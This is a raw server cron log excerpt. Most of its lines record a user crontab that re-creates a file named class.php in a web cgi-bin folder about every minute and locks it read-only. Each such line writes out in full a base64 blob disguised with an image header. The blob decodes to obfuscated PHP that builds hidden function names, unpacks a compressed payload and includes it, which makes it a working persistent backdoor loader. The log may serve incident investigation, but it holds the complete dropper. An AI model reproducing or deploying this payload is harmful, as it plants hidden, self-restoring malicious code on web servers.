Nov 15 03:33:01 server CROND[11507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:34:01 server CROND[12477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:35:01 server CROND[13381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:35:01 server CROND[13385]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 03:35:01 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:35:01 server CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 03:35:01 server CROND[13391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:36:01 server CROND[14378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:37:01 server CROND[14934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:38:01 server CROND[15935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:39:01 server CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:39:01 server CROND[16855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:40:01 server CROND[17783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 03:40:01 server CROND[17785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 03:40:01 server CROND[17784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 03:40:01 server CROND[17786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:41:01 server anacron[29727]: Job `cron.daily' started
Nov 15 03:41:01 server run-parts(/etc/cron.daily)[18802]: starting csget
Nov 15 03:41:01 server run-parts(/etc/cron.daily)[18813]: finished csget
Nov 15 03:41:01 server run-parts(/etc/cron.daily)[18802]: starting logclean
Nov 15 03:41:01 server run-parts(/etc/cron.daily)[18827]: finished logclean
Nov 15 03:41:01 server run-parts(/etc/cron.daily)[18802]: starting logrotate
Nov 15 03:41:01 server CROND[18842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:41:02 server run-parts(/etc/cron.daily)[18856]: finished logrotate
Nov 15 03:41:02 server run-parts(/etc/cron.daily)[18802]: starting maldet
Nov 15 03:42:01 server CROND[19815]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 03:42:01 server CROND[19816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:43:01 server CROND[20834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:44:01 server CROND[21727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 03:45:01 server CROND[22637]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
